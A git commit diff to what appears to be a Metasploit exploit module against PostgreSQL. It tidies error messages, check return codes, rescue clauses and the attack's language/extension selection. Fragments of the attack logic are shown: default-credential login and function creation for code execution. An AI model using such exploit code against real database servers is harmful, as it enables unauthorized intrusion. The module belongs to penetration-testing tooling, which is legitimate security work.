Fixes as recommended in the PR discussion.
parent
436ea85b18
commit
b049debef0
|
@ -53,7 +53,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
register_options([
|
register_options([
|
||||||
OptString.new('USERNAME', [true, 'The username to the service', 'postgres']),
|
OptString.new('USERNAME', [true, 'The username to the service', 'postgres']),
|
||||||
OptString.new('PASSWORD', [true, 'The password to the service', 'postgres'])
|
OptString.new('PASSWORD', [true, 'The password to the service', 'postgres'])
|
||||||
], self.class)
|
])
|
||||||
|
|
||||||
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
||||||
end
|
end
|
||||||
|
@ -69,13 +69,13 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
return CheckCode::Appears
|
return CheckCode::Appears
|
||||||
|
|
||||||
else
|
else
|
||||||
print_error "#{rhost}:#{rport} - Unsupported version - #{version[:auth]}"
|
print_error "#{peer} - Unsupported version - #{version[:auth]}"
|
||||||
return CheckCode::Safe
|
return CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
else
|
else
|
||||||
print_error "#{rhost}:#{rport} - Authentication failed"
|
print_error "#{peer} - Authentication failed"
|
||||||
return CheckCode::Safe
|
return CheckCode::Unknown
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -105,7 +105,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
|
|
||||||
elsif major_version.to_i >= 9
|
elsif major_version.to_i >= 9
|
||||||
print_status "#{rhost}:#{rport} - Selecting version 9 attack"
|
print_status "#{rhost}:#{rport} - Selecting version 9 attack"
|
||||||
extension = 'LANGUAGE'
|
extension = 'EXTENSION'
|
||||||
|
|
||||||
else
|
else
|
||||||
print_error "#{rhost}:#{rport} - Unsupported version - #{version}"
|
print_error "#{rhost}:#{rport} - Unsupported version - #{version}"
|
||||||
|
@ -129,17 +129,17 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
|
|
||||||
case load_lang
|
case load_lang
|
||||||
when :exists
|
when :exists
|
||||||
print_good "#{rhost}:#{rport} - #{human_language} is already loaded, continuing"
|
print_good "#{rhost}:#{rport} - language is already loaded, continuing"
|
||||||
create_function(language, func_name)
|
create_function(language, func_name)
|
||||||
loaded = true
|
loaded = true
|
||||||
|
|
||||||
when :loaded
|
when :loaded
|
||||||
print_good "#{rhost}:#{rport} - #{human_language} was successfully loaded, continuing"
|
print_good "#{rhost}:#{rport} - language was successfully loaded, continuing"
|
||||||
create_function(language, func_name)
|
create_function(language, func_name)
|
||||||
loaded = true
|
loaded = true
|
||||||
|
|
||||||
when :not_exists
|
when :not_exists
|
||||||
print_status "#{rhost}:#{rport} - #{human_language} could not be loaded"
|
print_status "#{rhost}:#{rport} - language could not be loaded"
|
||||||
|
|
||||||
else
|
else
|
||||||
print_error "#{rhost}:#{rport} - Error occurred"
|
print_error "#{rhost}:#{rport} - Error occurred"
|
||||||
|
@ -171,9 +171,6 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
print_error "#{rhost}:#{rport} - Exploit failed"
|
print_error "#{rhost}:#{rport} - Exploit failed"
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
rescue RuntimeError => e
|
|
||||||
print_error "#{rhost}:#{rport} - Failed to create UDF: #{e.class}: #{e}"
|
|
||||||
end
|
end
|
||||||
|
|
||||||
postgres_logout if @postgres_conn
|
postgres_logout if @postgres_conn
|
||||||
|
@ -251,7 +248,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
return :noauth
|
return :noauth
|
||||||
end
|
end
|
||||||
|
|
||||||
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
|
rescue Rex::ConnectionError
|
||||||
return :noconn
|
return :noconn
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue